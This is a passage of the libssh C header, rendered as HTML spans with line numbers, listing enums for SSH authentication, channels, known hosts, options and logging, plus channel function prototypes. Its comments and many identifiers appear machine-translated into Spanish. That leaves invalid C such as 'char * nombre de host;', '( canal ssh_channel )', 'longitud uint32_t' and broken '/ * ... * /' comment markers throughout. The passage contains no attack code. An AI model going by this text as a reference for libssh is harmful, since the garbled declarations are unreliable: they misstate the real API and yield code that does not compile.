'>160 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>161  enum ssh_auth_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>162   SSH_AUTH_SUCCESS = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>163   SSH_AUTH_DENIED,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>164   SSH_AUTH_PARTIAL,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>165   SSH_AUTH_INFO,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>166   SSH_AUTH_AGAIN,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>167   SSH_AUTH_ERROR = -1</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>168  };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>169 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>170  / * banderas de autenticación * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>171  #define SSH_AUTH_METHOD_UNKNOWN 0</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>172  #define SSH_AUTH_METHOD_NONE 0x0001</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>173  #define SSH_AUTH_METHOD_PASSWORD 0x0002</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>174  #define SSH_AUTH_METHOD_PUBLICKEY 0x0004</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>175  #define SSH_AUTH_METHOD_HOSTBASED 0x0008</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>176  #define SSH_AUTH_METHOD_INTERACTIVE 0x0010</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>177  #define SSH_AUTH_METHOD_GSSAPI_MIC 0x0020</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>178 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>179  / * mensajes * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>180  enum ssh_requests_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>181   SSH_REQUEST_AUTH = 1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>182   SSH_REQUEST_CHANNEL_OPEN,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>183   SSH_REQUEST_CHANNEL,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>184   SSH_REQUEST_SERVICE,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>185   SSH_REQUEST_GLOBAL</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>186  };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>187 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>188  enum ssh_channel_type_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>189   SSH_CHANNEL_UNKNOWN = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>190   SSH_CHANNEL_SESSION,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>191   SSH_CHANNEL_DIRECT_TCPIP,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>192   SSH_CHANNEL_FORWARDED_TCPIP,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>193   SSH_CHANNEL_X11,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>194   SSH_CHANNEL_AUTH_AGENT</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>195  };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>196 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>197  enum ssh_channel_requests_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>198   SSH_CHANNEL_REQUEST_UNKNOWN = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>199   SSH_CHANNEL_REQUEST_PTY,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>200   SSH_CHANNEL_REQUEST_EXEC,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>201   SSH_CHANNEL_REQUEST_SHELL,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>202   SSH_CHANNEL_REQUEST_ENV,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>203   SSH_CHANNEL_REQUEST_SUBSYSTEM,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>204   SSH_CHANNEL_REQUEST_WINDOW_CHANGE,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>205   SSH_CHANNEL_REQUEST_X11</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>206  };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>207 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>208  enum ssh_global_requests_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>209   SSH_GLOBAL_REQUEST_UNKNOWN = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>210   SSH_GLOBAL_REQUEST_TCPIP_FORWARD,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>211   SSH_GLOBAL_REQUEST_CANCEL_TCPIP_FORWARD,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>212   SSH_GLOBAL_REQUEST_KEEPALIVE</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>213  };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>214 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>215  enum ssh_publickey_state_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>216   SSH_PUBLICKEY_STATE_ERROR = -1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>217   SSH_PUBLICKEY_STATE_NONE = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>218   SSH_PUBLICKEY_STATE_VALID = 1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>219   SSH_PUBLICKEY_STATE_WRONG = 2</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>220  };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>221 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>222  / * Indicadores de estado * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>224  #define SSH_CLOSED 0x01</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>225 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>226  #define SSH_READ_PENDING 0x02</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>227 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>228  #define SSH_CLOSED_ERROR 0x04</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>229 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>230  #define SSH_WRITE_PENDING 0x08</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>231 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>232  enum ssh_server_known_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>233   SSH_SERVER_ERROR = -1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>234   SSH_SERVER_NOT_KNOWN = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>235   SSH_SERVER_KNOWN_OK,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>236   SSH_SERVER_KNOWN_CHANGED,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>237   SSH_SERVER_FOUND_OTHER,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>238   SSH_SERVER_FILE_NOT_FOUND</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>239  };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>240 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>241  enum ssh_known_hosts_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>245   SSH_KNOWN_HOSTS_ERROR = -2,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>246 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>251   SSH_KNOWN_HOSTS_NOT_FOUND = -1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>252 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>257   SSH_KNOWN_HOSTS_UNKNOWN = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>258 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>262   SSH_KNOWN_HOSTS_OK,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>263 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>269   SSH_KNOWN_HOSTS_CHANGED,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>270 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>275   SSH_KNOWN_HOSTS_OTHER,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>276  };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>277 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>278  #ifndef MD5_DIGEST_LEN</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>279   #define MD5_DIGEST_LEN 16</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>280  #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>281  / * errores * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>282 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>283  enum ssh_error_types_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>284   SSH_NO_ERROR = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>285   SSH_REQUEST_DENIED,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>286   SSH_FATAL,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>287   SSH_EINTR</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>288  };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>289 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>290  / * algunos tipos de claves * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>291  enum ssh_keytypes_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>292   SSH_KEYTYPE_UNKNOWN = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>293   SSH_KEYTYPE_DSS = 1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>294   SSH_KEYTYPE_RSA,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>295   SSH_KEYTYPE_RSA1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>296   SSH_KEYTYPE_ECDSA,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>297   SSH_KEYTYPE_ED25519,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>298   SSH_KEYTYPE_DSS_CERT01,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>299   SSH_KEYTYPE_RSA_CERT01</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>300  };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>301 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>302  enum ssh_keycmp_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>303   SSH_KEY_CMP_PUBLIC = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>304   SSH_KEY_CMP_PRIVATE</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>305  };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>306 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>307  #define SSH_ADDRSTRLEN 46</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>308 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>309  struct ssh_knownhosts_entry {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>310   char * nombre de host;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>311   char * sin analizar;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>312   ssh_key publickey;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>313   char * comentario;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>314  };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>315 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>316 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>317  / * Códigos de retorno de error * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>318  #define SSH_OK 0 / * Sin error * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>319  #define SSH_ERROR -1 / </span> <span style='color:#00c4c4; '>* Error de algún tipo * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>320  #define SSH_AGAIN -2 / </span> <span style='color:#00c4c4; '>* La llamada sin bloqueo debe repetirse * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>321  #define SSH_EOF -127 / * Ya tenemos un eof * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>322 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>329  enum {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>332  SSH_LOG_NOLOG = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>335  SSH_LOG_WARNING ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>338  SSH_LOG_PROTOCOL ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>341  SSH_LOG_PACKET ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>344  SSH_LOG_FUNCTIONS</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>345  };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>347  #define SSH_LOG_RARE SSH_LOG_WARNING</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>348 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>357  #define SSH_LOG_NONE 0</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>358 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>359  #define SSH_LOG_WARN 1</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>360 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>361  #define SSH_LOG_INFO 2</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>362 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>363  #define SSH_LOG_DEBUG 3</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>364 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>365  #define SSH_LOG_TRACE 4</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>366 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>369  enum ssh_options_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>370   SSH_OPTIONS_HOST,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>371   SSH_OPTIONS_PORT,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>372   SSH_OPTIONS_PORT_STR,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>373   SSH_OPTIONS_FD,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>374   SSH_OPTIONS_USER,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>375   SSH_OPTIONS_SSH_DIR,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>376   SSH_OPTIONS_IDENTITY,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>377   SSH_OPTIONS_ADD_IDENTITY,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>378   SSH_OPTIONS_KNOWNHOSTS,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>379   SSH_OPTIONS_TIMEOUT,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>380   SSH_OPTIONS_TIMEOUT_USEC,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>381   SSH_OPTIONS_SSH1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>382   SSH_OPTIONS_SSH2,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>383   SSH_OPTIONS_LOG_VERBOSITY,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>384   SSH_OPTIONS_LOG_VERBOSITY_STR,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>385   SSH_OPTIONS_CIPHERS_C_S,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>386   SSH_OPTIONS_CIPHERS_S_C,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>387   SSH_OPTIONS_COMPRESSION_C_S,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>388   SSH_OPTIONS_COMPRESSION_S_C,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>389   SSH_OPTIONS_PROXYCOMMAND,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>390   SSH_OPTIONS_BINDADDR,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>391   SSH_OPTIONS_STRICTHOSTKEYCHECK,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>392   SSH_OPTIONS_COMPRESSION,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>393   SSH_OPTIONS_COMPRESSION_LEVEL,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>394   SSH_OPTIONS_KEY_EXCHANGE,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>395   SSH_OPTIONS_HOSTKEYS,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>396   SSH_OPTIONS_GSSAPI_SERVER_IDENTITY,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>397   SSH_OPTIONS_GSSAPI_CLIENT_IDENTITY,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>398   SSH_OPTIONS_GSSAPI_DELEGATE_CREDENTIALS,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>399   SSH_OPTIONS_HMAC_C_S,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>400   SSH_OPTIONS_HMAC_S_C,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>401   SSH_OPTIONS_PASSWORD_AUTH,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>402   SSH_OPTIONS_PUBKEY_AUTH,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>403   SSH_OPTIONS_KBDINT_AUTH,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>404   SSH_OPTIONS_GSSAPI_AUTH,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>405   SSH_OPTIONS_GLOBAL_KNOWNHOSTS,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>406   SSH_OPTIONS_NODELAY,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>407   SSH_OPTIONS_PUBLICKEY_ACCEPTED_TYPES,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>408   SSH_OPTIONS_PROCESS_CONFIG,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>409   SSH_OPTIONS_REKEY_DATA,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>410   SSH_OPTIONS_REKEY_TIME,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>411  };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>412 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>413  enum {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>415   SSH_SCP_WRITE,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>417   SSH_SCP_READ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>418   SSH_SCP_RECURSIVE = 0x10</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>419  };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>420 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>421  enum ssh_scp_request_types {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>423   SSH_SCP_REQUEST_NEWDIR = 1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>425   SSH_SCP_REQUEST_NEWFILE,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>427   SSH_SCP_REQUEST_EOF,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>429   SSH_SCP_REQUEST_ENDDIR,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>431   SSH_SCP_REQUEST_WARNING</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>432  };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>433 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>434  enum ssh_connector_flags_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>436   SSH_CONNECTOR_STDOUT = 1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>438   SSH_CONNECTOR_STDERR = 2,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>440   SSH_CONNECTOR_BOTH = 3</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>441  };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>442 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>443  LIBSSH_API int ssh_blocking_flush </span> <span style='color:#00c4c4; '>( sesión ssh_session , int timeout);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>444  LIBSSH_API ssh_channel ssh_channel_accept_x11 </span> <span style='color:#00c4c4; '>( canal ssh_channel , int timeout_ms);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>445  LIBSSH_API int ssh_channel_change_pty_size </span> <span style='color:#00c4c4; '>( canal ssh_channel , int cols, int filas);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>446  LIBSSH_API int ssh_channel_close </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>447  LIBSSH_API void ssh_channel_free </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>448  LIBSSH_API int ssh_channel_get_exit_status </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>449  LIBSSH_API ssh_session ssh_channel_get_session </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>450  LIBSSH_API int ssh_channel_is_closed </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>451  LIBSSH_API int ssh_channel_is_eof </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>452  LIBSSH_API int ssh_channel_is_open </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>453  LIBSSH_API ssh_channel ssh_channel_new </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>454  LIBSSH_API int ssh_channel_open_auth_agent </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>455  LIBSSH_API int ssh_channel_open_forward </span> <span style='color:#00c4c4; '>( canal ssh_channel , const char * host remoto,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>456   int puerto remoto, const char </span> <span style='color:#00c4c4; '>* sourcehost, int localport);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>457  LIBSSH_API int ssh_channel_open_session </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>458  LIBSSH_API int ssh_channel_open_x11 </span> <span style='color:#00c4c4; '>( canal ssh_channel , const char * orig_addr, </span> <span style='color:#00c4c4; '>int orig_port);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>459  LIBSSH_API int ssh_channel_poll </span> <span style='color:#00c4c4; '>( canal ssh_channel , int is_stderr);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>460  LIBSSH_API int ssh_channel_poll_timeout </span> <span style='color:#00c4c4; '>( canal ssh_channel , int timeout, int is_stderr);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>461  LIBSSH_API int ssh_channel_read </span> <span style='color:#00c4c4; '>( canal ssh_channel , void * dest, uint32_t </span> <span style='color:#00c4c4; '>count, int is_stderr);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>462  LIBSSH_API int ssh_channel_read_timeout </span> <span style='color:#00c4c4; '>( ssh_channel channel, void * dest, </span> <span style='color:#00c4c4; '>uint32_t count, int is_stderr, int timeout_ms);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>463  LIBSSH_API int ssh_channel_read_nonblocking </span> <span style='color:#00c4c4; '>( canal ssh_channel , void * dest, uint32_t count,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>464   int is_stderr);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>465  LIBSSH_API int ssh_channel_request_env </span> <span style='color:#00c4c4; '>( canal ssh_channel , const char * nombre, const char </span> <span style='color:#00c4c4; '>* valor);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>466  LIBSSH_API int ssh_channel_request_exec </span> <span style='color:#00c4c4; '>( canal ssh_channel , const char * cmd);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>467  LIBSSH_API int ssh_channel_request_pty </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>468  LIBSSH_API int ssh_channel_request_pty_size </span> <span style='color:#00c4c4; '>( canal ssh_channel , const char * term,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>469   int cols, int filas);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>470  LIBSSH_API int ssh_channel_request_shell </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>471  LIBSSH_API int ssh_channel_request_send_signal </span> <span style='color:#00c4c4; '>( canal ssh_channel , const char * signum);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>472  LIBSSH_API int ssh_channel_request_send_break </span> <span style='color:#00c4c4; '>( ssh_channel canal, longitud uint32_t);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>473  LIBSSH_API int ssh_channel_request_sftp </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>474  LIBSSH_API int ssh_channel_request_subsystem </span> <span style='color:#00c4c4; '>( canal ssh_channel , const char * subsistema);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>475  LIBSSH_API int ssh_channel_request_x11 </span> <span style='color:#00c4c4; '>( canal ssh_channel , int single_connection, </span> <span style='color:#00c4c4; '>const char * protocolo,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>476   const char * cookie, int número_pantalla);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>477  LIBSSH_API int ssh_channel_request_auth_agent </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>478  LIBSSH_API int ssh_channel_send_eof </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>479  LIBSSH_API int ssh_channel_select </span> <span style='color:#00c4c4; '>( ssh_channel * readchans, ssh_channel * </span> <span style='color:#00c4c4; '>writechans, ssh_channel * exceptchans, struct</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>480   timeval * tiempo de espera);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>481  LIBSSH_API void ssh_channel_set_blocking </span> <span style='color:#00c4c4; '>( canal ssh_channel , bloqueo int );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>482  LIBSSH_API void ssh_channel_set_counter </span> <span 